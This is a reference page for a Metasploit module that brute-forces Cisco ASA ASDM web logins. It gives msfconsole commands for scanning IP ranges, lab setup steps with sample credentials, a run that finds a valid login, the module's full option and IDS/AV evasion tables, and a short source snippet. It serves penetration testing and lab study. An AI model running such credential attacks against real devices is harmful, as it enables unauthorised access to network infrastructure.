Cisco ASA ASDM Brute-force Login - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/http/cisco_asa_asdm_bruteforce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Cisco ASA ASDM Brute-force Login
Module: auxiliary/scanner/http/cisco_asa_asdm_bruteforce
Source code: modules/auxiliary/scanner/http/cisco_asa_asdm_bruteforce.rb
Disclosure date: -
Last modification time: 2022-08-16 06:31:25 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module scans for the Cisco ASA ASDM landing page and performs login brute-force to identify valid credentials.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/cisco_asa_asdm_bruteforce
msf auxiliary(cisco_asa_asdm_bruteforce) > show options
    ... show and set options ...
msf auxiliary(cisco_asa_asdm_bruteforce) > set RHOSTS ip-range
msf auxiliary(cisco_asa_asdm_bruteforce) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(cisco_asa_asdm_bruteforce) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(cisco_asa_asdm_bruteforce) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(cisco_asa_asdm_bruteforce) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


Description

This module scans for the Cisco ASA ASDM landing page and performs login brute-force to identify valid credentials.

Installation

Acquire a Cisco ASA device or virtual machine. For this description we will use Cisco Adaptive Security Virtual Appliance (ASAv) VMWare Package 9.18.1 (asav9-18-1.zip):

  • https://software.cisco.com/download/home/286119613/type/280775065/release/9.18.1

The official installation guide can be found here But for completeness, the following will guide the user to a full testing configuration. To start we'll make ASDM remotely accessible:

  1. Unzip the package
  2. Import asav-esxi.ovf in VMWare Fusion (or your VMWare product of choice).
  3. Select the ASAv5 - 1 Core / 2 GB (100 Mbps) deployment option.
  4. After the import is complete, assign Network Adapter (1 is implied) the desired interface (e.g. I'll use Wi-Fi for my setup).
  5. Start the virtual machine
  6. Allow GRUB to boot the first option (this should happen twice)
  7. When provided with a command prompt (ciscoasa>) type en.
  8. Set an enable password (e.g. labpass1)
  9. Enter the following in the command line interface:
  10. conf t
  11. No
  12. interface GigabitEthernet 0/0
  13. nameif outside
  14. Assign a static ip address (note the assigned address should make sense within the context of you lab. For example, my lab network is 10.9.49.0/24): ip address 10.9.49.201 255.255.255.0
  15. no shutdown
  16. exit
  17. Set the default route (the last IP should point to your lab router): route outside 0.0.0.0 0.0.0.0 10.9.49.1
  18. Verify you can ping an outside host (e.g. ping 8.8.8.8)
  19. http server enable
  20. http 0.0.0.0 0.0.0.0 outside
  21. write
  22. exit

You should now be able to reach the ASA's web server remotely. From a remote host, execute the following curl command to the ASA to verify as much:

albinolobster@ubuntu:~$ curl -kv https://10.9.49.201
*   Trying 10.9.49.201:443...
* TCP_NODELAY set
...
> GET / HTTP/1.1`
> Host: 10.9.49.201
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Date: Tue, 21 Jun 2022 13:52:33 UTC
< Strict-Transport-Security: max-age=31536000
< X-XSS-Protection: 1
< Connection: close
< Location: /admin/public/index.html
< 
* Closing connection 0
* TLSv1.2 (OUT), TLS alert, close notify (256):

You should now be able to test the credentials <Blank>:labpass1 and enable_15:labpass1. To add additional users to test with, let's use ASDM from a Windows machine:

  1. Connect to your ASA's web interface (e.g. https://10.9.49.201/admin/public/index.html).
  2. Click "Install ASDM Launcher"
  3. Enter creds blank:labpass1 (where blank is nothing and labpass1 is your enable password)
  4. Install the downloaded dm-launcher.msi (before 7.18.1 it will be unsigned)
  5. If Java isn't installed, install Java 1.8 (current at time of writing is 8 Update 333): https://www.java.com/en/download/
  6. Start the ASDM Launcher via C:\Program Files (x86)\Cisco Systems\ASDM\run.bat
  7. Enter your ASAv's IP address (10.9.249.201)
  8. Enter a blank username
  9. Enter the enable password (labpass1)
  10. Go to Configuration -> Device Management -> Users/AAA -> User Accounts
  11. Click Add
  12. Set the username to cisco
  13. Set the password to cisco123
  14. Keep the default settings for Access Restrictions (Full access with privilege level of 2).
  15. Hit OK
  16. Hit Apply

You should now be able to log in to the ASDM using cisco:cisco123.

Verification Steps


  • Follow the above instructions to configure ASAv, ASDM, and add the cisco user for testing
  • Do: use auxiliary/scanner/http/cisco_asa_asdm_bruteforce
  • Do: set RHOST <ip>
  • Do: set VERBOSE false
  • Do: run
  • You should see output indicating cisco:cisco123 was successfully used for login.

Options


USERPASS_FILE

File containing users and passwords separated by space, one pair per line.

USER_FILE

File containing users, one per line.

PASS_FILE

File containing passwords, one per line

Scenarios


ASAv 9.18.1 with ASDM enabled and the cisco:cisco123 creds set.

msf6 > use auxiliary/scanner/http/cisco_asa_asdm_bruteforce
msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > set RHOST 10.9.49.201
RHOST => 10.9.49.201
msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > set VERBOSE false
VERBOSE => false
msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > run

[*] The remote target appears to host Cisco ASA ASDM. The module will continue.
[*] Starting login brute force...
[+] SUCCESSFUL LOGIN - "cisco":"cisco123"
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > 

Go back to menu.

Msfconsole Usage


Here is how the scanner/http/cisco_asa_asdm_bruteforce auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/cisco_asa_asdm_bruteforce

msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > show info

       Name: Cisco ASA ASDM Brute-force Login
     Module: auxiliary/scanner/http/cisco_asa_asdm_bruteforce
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  jbaines-r7

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Check supported:
  No

Basic options:
  Name              Current Setting                           Required  Description
  ----              ---------------                           --------  -----------
  BLANK_PASSWORDS   true                                      no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                                         yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS      false                                     no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false                                     no        Add all passwords in the current database to the list
  DB_ALL_USERS      false                                     no        Add all users in the current database to the list
  DB_SKIP_EXISTING  none                                      no        Skip existing credentials stored in the current database (Accepted: none,
                                                                         user, user&realm)
  PASSWORD                                                    no        A specific password to authenticate with
  PASS_FILE         /opt/metasploit-framework/embedded/frame  no        File containing passwords, one per line
                    work/data/wordlists/http_default_pass.tx
                    t
  Proxies                                                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wi
                                                                        ki/Using-Metasploit
  RPORT             443                                       yes       The target port (TCP)
  SSL               true                                      no        Negotiate SSL/TLS for outgoing connections
  STOP_ON_SUCCESS   false                                     yes       Stop guessing when a credential works for a host
  THREADS           1                                         yes       The number of concurrent threads (max one per host)
  USERNAME                                                    no        A specific username to authenticate as
  USERPASS_FILE     /opt/metasploit-framework/embedded/frame  no        File containing users and passwords separated by space, one pair per line
                    work/data/wordlists/http_default_userpas
                    s.txt
  USER_AS_PASS      false                                     no        Try the username as the password for all users
  USER_FILE         /opt/metasploit-framework/embedded/frame  no        File containing users, one per line
                    work/data/wordlists/http_default_users.t
                    xt
  VERBOSE           true                                      yes       Whether to print output for all attempts
  VHOST                                                       no        HTTP server virtual host

Description:
  This module scans for the Cisco ASA ASDM landing page and performs 
  login brute-force to identify valid credentials.

References:
  https://www.cisco.com/c/en/us/products/security/adaptive-security-device-manager/index.html

Module Options


This is a complete list of options available in the scanner/http/cisco_asa_asdm_bruteforce auxiliary module:

msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > show options

Module options (auxiliary/scanner/http/cisco_asa_asdm_bruteforce):

   Name              Current Setting                           Required  Description
   ----              ---------------                           --------  -----------
   BLANK_PASSWORDS   true                                      no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                         yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                     no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                     no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                     no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none                                      no        Skip existing credentials stored in the current database (Accepted: none
                                                                         , user, user&realm)
   PASSWORD                                                    no        A specific password to authenticate with
   PASS_FILE         /opt/metasploit-framework/embedded/frame  no        File containing passwords, one per line
                     work/data/wordlists/http_default_pass.tx
                     t
   Proxies                                                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/w
                                                                         iki/Using-Metasploit
   RPORT             443                                       yes       The target port (TCP)
   SSL               true                                      no        Negotiate SSL/TLS for outgoing connections
   STOP_ON_SUCCESS   false                                     yes       Stop guessing when a credential works for a host
   THREADS           1                                         yes       The number of concurrent threads (max one per host)
   USERNAME                                                    no        A specific username to authenticate as
   USERPASS_FILE     /opt/metasploit-framework/embedded/frame  no        File containing users and passwords separated by space, one pair per lin
                     work/data/wordlists/http_default_userpas            e
                     s.txt
   USER_AS_PASS      false                                     no        Try the username as the password for all users
   USER_FILE         /opt/metasploit-framework/embedded/frame  no        File containing users, one per line
                     work/data/wordlists/http_default_users.t
                     xt
   VERBOSE           true                                      yes       Whether to print output for all attempts
   VHOST                                                       no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the scanner/http/cisco_asa_asdm_bruteforce auxiliary module:

msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > show advanced

Module advanced options (auxiliary/scanner/http/cisco_asa_asdm_bruteforce):

   Name                     Current Setting                        Required  Description
   ----                     ---------------                        --------  -----------
   DOMAIN                   WORKSTATION                            yes       The domain to use for Windows authentication
   DigestAuthIIS            true                                   no        Conform to IIS, should work for most servers. Only set to false for
                                                                             non-IIS servers
   FingerprintCheck         true                                   no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                               no        HTTP connection and receive timeout
   HttpPassword                                                    no        The HTTP password to specify for authentication
   HttpRawHeaders                                                  no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace                false                                  no        Show the raw HTTP requests and responses
   HttpTraceColors          red/blu                                no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly     false                                  no        Show HTTP headers only in HttpTrace
   HttpUsername                                                    no        The HTTP username to specify for authentication
   MaxGuessesPerService     0                                      no        Maximum number of credentials to try per service instance. If set to
                                                                              zero or a non-number, this option will not be used.
   MaxGuessesPerUser        0                                      no        Maximum guesses for a particular username for the service instance.
                                                                             Note that users are considered unique among different services, so a
                                                                              user at 10.1.1.1:22 is different from one at 10.2.2.2:22, and both
                                                                             will be tried up to the MaxGuessesPerUser limit. If set to zero or a
                                                                              non-number, this option will not be used.
   MaxMinutesPerService     0                                      no        Maximum time in minutes to bruteforce the service instance. If set t
                                                                             o zero or a non-number, this option will not be used.
   PASSWORD_SPRAY           false                                  yes       Reverse the credential pairing order. For each password, attempt eve
                                                                             ry possible user.
   REMOVE_PASS_FILE         false                                  yes       Automatically delete the PASS_FILE on module completion
   REMOVE_USERPASS_FILE     false                                  yes       Automatically delete the USERPASS_FILE on module completion
   REMOVE_USER_FILE         false                                  yes       Automatically delete the USER_FILE on module completion
   SSLServerNameIndication                                         no        SSL/TLS Server Name Indication (SNI)
   SSLVersion               Auto                                   yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are a
                                                                             uto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1
                                                                             .2)
   ShowProgress             true                                   yes       Display progress messages during a scan
   ShowProgressPercent      10                                     yes       The interval in percent that progress should be shown
   TRANSITION_DELAY         0                                      no        Amount of time (in minutes) to delay before transitioning to the nex
                                                                             t user in the array (or password when PASSWORD_SPRAY=true)
   UserAgent                Mozilla/5.0 (Macintosh; Intel Mac OS   no        The User-Agent header to use for all requests
                            X 12.2; rv:97.0) Gecko/20100101 Firef
                            ox/97.0
   WORKSPACE                                                       no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/http/cisco_asa_asdm_bruteforce module can do:

msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/http/cisco_asa_asdm_bruteforce auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apac
                                                            he)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apa
                                                            che)
   HTTP::shuffle_get_params      false            no        Randomize order of GET parameters
   HTTP::shuffle_post_params     false            no        Randomize order of POST parameters
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all,
                                                            u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

FAILED LOGIN - <USER.INSPECT>:<PASS.INSPECT>


Here is a relevant code snippet related to the "FAILED LOGIN - <USER.INSPECT>:<PASS.INSPECT>" error message:

109:	    if res && res.code == 200 && res.body.include?('asdm.version=') && res.body.include?('launcher.version=')
110:	
111:	      print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
112:	      report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
113:	
114:	      return :next_user
115:	    else
116:	      vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
117:	    end
118:	  end
119:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • jbaines-r7

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.